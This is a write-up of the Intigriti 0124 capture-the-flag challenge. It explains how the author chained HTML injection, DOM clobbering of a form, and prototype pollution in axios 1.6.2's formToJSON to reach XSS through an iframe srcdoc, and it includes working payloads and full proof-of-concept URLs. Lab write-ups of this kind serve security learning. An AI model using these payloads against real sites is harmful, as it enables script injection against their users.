- Published on
Intigriti challenge 0124 writeup
- Authors
- Name
- Damjan Smickovski
- @smickovskid
Source: Intigriti
Solves: 37
Introduction
Another challenge that teaches us about the dangers of using outdated dependencies which lead to major security implications. This time around we are dealing with prototype pollution which is a vulnerability that allows attackers to overwrite the prototype of a base object and thus leverage the change to perform malicious actions.
Reconnaissance
The entry point is yet another simple web application with two input fields, the first input field is the name of the user and the second one is the repository name to search for. The name is displayed on the screen whereas the repository image, description and website (if it exists) are rendered afterwards.
Landing page
Repo search page
The first thought that comes to mind is to go for XSS via the name input field.
Source code analysis
Downloading the source we can see that it is a NodeJS
appliaction, specifically using express
, dompurify
, ejs
and jsdom
.
The app.js
file has 2 main routes: /
and /search
const createDOMPurify = require("dompurify");
const repos = require("./repos.json");
const { JSDOM } = require("jsdom");
const express = require("express");
const path = require("path");
// App config
const app = express();
app.set("view engine", "ejs");
app.set('view cache', false);
app.use(express.json());
const PORT = 3000;
const window = new JSDOM("").window;
const DOMPurify = createDOMPurify(window);
// Middlewares
app.use("/static", express.static(path.join(__dirname, "static")));
// Routes
app.get("/", (req, res) => {
if (!req.query.name) {
res.render("index");
return;
}
res.render("search", {
name: DOMPurify.sanitize(req.query.name, { SANITIZE_DOM: false }),
search: req.query.search
});
});
app.post("/search", (req, res) => {
name = req.body.q;
repo = {};
for (let item of repos.items) {
if (item.full_name && item.full_name.includes(name)) {
repo = item
break;
}
}
res.json(repo);
});
// Run
app.listen(PORT, () => {
console.log(`App listening on port ${PORT}!`)
});
We are mainly interested in the /search
route. The logic follows:
- It sets the repo name to a variable.
- Loops through all the static repos from the
repos.json
file. - If the supplied name is included in any of the
full_name
values andfull_name
is present that object is returned.- If there are no matches
{}
is returned.
- If there are no matches
Templating
The other interesting file we should be looking at is the search.ejs
template.
<%- include("inc/header"); %>
<h2><%- name %>,<br>Which repo are you looking for?</h2>
<form id="search">
<input name="q" value="<%= search %>">
</form>
<hr>
<img src="/static/img/loading.gif" class="loading" width="50px" hidden><br>
<img class="avatar" width="35%">
<p id="description"></p>
<iframe id="homepage" hidden></iframe>
<script src="/static/js/axios.min.js"></script>
<script src="/static/js/jquery-3.7.1.min.js"></script>
<script>
function search(name) {
$("img.loading").attr("hidden", false);
axios.post("/search", $("#search").get(0), {
"headers": { "Content-Type": "application/json" }
}).then((d) => {
$("img.loading").attr("hidden", true);
const repo = d.data;
if (!repo.owner) {
alert("Not found!");
return;
};
$("img.avatar").attr("src", repo.owner.avatar_url);
$("#description").text(repo.description);
if (repo.homepage && repo.homepage.startsWith("https://")) {
$("#homepage").attr({
"src": repo.homepage,
"hidden": false
});
};
});
};
window.onload = () => {
const params = new URLSearchParams(location.search);
if (params.get("search")) search();
$("#search").submit((e) => {
e.preventDefault();
search();
});
};
</script>
</body>
</html>
Testing out old solution
Considering ejs
is used as the templating engine we can go back a few challenges, specifically Intigriti challenge 1023 where <%-
was being used to render user supplied content. This means that any HTML
that is supplied will not be sanitized. If we want sanitization we should be using <%=
as specified the docs.
<h2><%- name %>,<br>Which repo are you looking for?</h2>
It is highly unlikely that we can bypass DOMPurify
regularly and directl inject a script tag as we did, but from playing around we can see that we can easily perform DOM clobbering by closing the h2
tag and adding our own html.
</h2><h1> Hey there </h1>
results in:
Here I spent some time to perhaps replicate the same solution as the aforementioned challenge by closing the title tag inside an attribute of an image.
</h2>
<title>
<img class="</title> <script>alert(1)</script>" />
</title>
This does not work since the forward slash was getting normalized and not treated as a valid closing tag. Similar attempts by closing the h2
tag did not work as well which was expected and the solution was probably not as simple this time around.
After failing to capitalize on the previous solution our focus will shift around the form submit and display logic.
function search(name) {
$("img.loading").attr("hidden", false);
axios.post("/search", $("#search").get(0), {
"headers": { "Content-Type": "application/json" }
}).then((d) => {
$("img.loading").attr("hidden", true);
const repo = d.data;
if (!repo.owner) {
alert("Not found!");
return;
};
$("img.avatar").attr("src", repo.owner.avatar_url);
$("#description").text(repo.description);
if (repo.homepage && repo.homepage.startsWith("https://")) {
$("#homepage").attr({
"src": repo.homepage,
"hidden": false
});
};
});
};
Exploitation
By the time I started focusing on the form the first hint was published which stated:
Use what is old to break the new, seek the changes in history, let past revisions unveil the key.
Admiring the poetry we can translate it to:
Thou should'st check the git history of the used dependencies.
I spent some time digging around recent security commits and fixes for the npm libraries but was not finding anything out of the ordinary. That is when eternalkyu pinged me whether I was doing the challenge. I confirmed so we started brainstorming ideas and potential attack vectors.
After a while he pointed to a really interesting commit in the axios library. Turns out I overlooked that axios was being used since I focused on the package.json
file exclusively. If we search for axios in the source, we can find a minifed js file axios.min.js
that contains the axios logic.
This file reveals that the version in use is Axios v1.6.2
, which does not have the fix. The commit addresses a prototype pollution vulnerability in the formToJSON
method.
The specific line that fixes this is if (name === '__proto__') return true;
.
In this line, the code checks whether the name of the property being processed is equal to __proto__
. If it is, it returns true. This means that if a property with the name __proto__
is encountered in the FormData, the function will terminate early and not continue processing it.
Overriding the form
We can try to exploit the potential prototype pollution by somehow overriding the form. Performing further analysis on the source code we can see that the form is being submit by its id.
axios.post("/search", $("#search").get(0), {
"headers": { "Content-Type": "application/json" }
}) // ...
// ...
$("#search").submit((e) => {
e.preventDefault();
search();
});
From our previous finding, we can use the dom clobbering technique to override the form ID and set our own arbitrary values in the __proto__
object.
We can do a simple check by:
</h2>
<form id="search">
<input name="q" value="siege-media/contrast-ratio">
<input type="text" name="__proto__.test" value="hey there"/>
</form>
We also need to set the search
query param so the submit is triggered.
PoC
https://challenge-0124.intigriti.io/challenge?name=%3C%2Fh2%3E+%3Cform+id%3D%22search%22%3E++%3Cinput+name%3D%22q%22+value%3D%22siege-media%2Fcontrast-ratio%22%3E+%3Cinput+type%3D%22text%22+name%3D%22__proto__.test%22+value%3D%22hey+there%22%2F%3E+%3C%2Fform%3E&search=a
Opening the browser console and entering document.test
we get the value that we set.
This means our exploit was successfull and we were able to perform the prototype pollution. Next steps would be to somehow get a value to display on the page. This took me a while and a lot of digging about prototype pollution and javascript internals that I was missing. I tried setting various attributes and values, but to no avail.
Exploit
Finally I had a breakthrough when testing out different combinations of __proto__
payloads, turns out that if I try to assign a value in the name
field of the form we get unexpected behaviour and the attribute is passed and set in the iframe.
</h2>
<form id="search">
<input name="q" value="siege-media/contrast-ratio">
<input type="text" name="__proto__.test=test" value="hey"/>
</form>
This is very promising, after searching for iframe attributes we can see that we can use srcdoc
which shows inside the frame as html. Was not straightforward to get the right payload since i kept getting [object Object]
, however finally I managed to by overriding it twice in the form.
</h2>
<form id="search">
<input name="q" value="siege-media/contrast-ratio">
<input type="text" name="__proto__.srcdoc=test" value="test"/>
<input type="text" name="__proto__.srcdoc" value="<script>alert(1)</script>"/>
</form>
This translates to srcdoc="[object Object], <script>alert(1)</script>"
and gets evaluated in the iframe.
PoC
https://challenge-0124.intigriti.io/challenge?name=%3C%2Fh2%3E+%3Cform+id%3D%22search%22%3E++%3Cinput+name%3D%22q%22+value%3D%22siege-media%2Fcontrast-ratio%22%3E+%3Cinput+type%3D%22text%22+name%3D%22__proto__.srcdoc%3Dtest%22+value%3D%22test%22%2F%3E+%3Cinput+type%3D%22text%22+name%3D%22__proto__.srcdoc%22+value%3D%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%2F%3E+%3C%2Fform%3E&search=siege-media/contrast-ratio
This gives us the XSS and concludes the challenge! (There was no flag this time around).
Final words
Turns out this was not the intended solution which made this challenge even more interesting and rewarding. Can't wait to see what the intended solution is.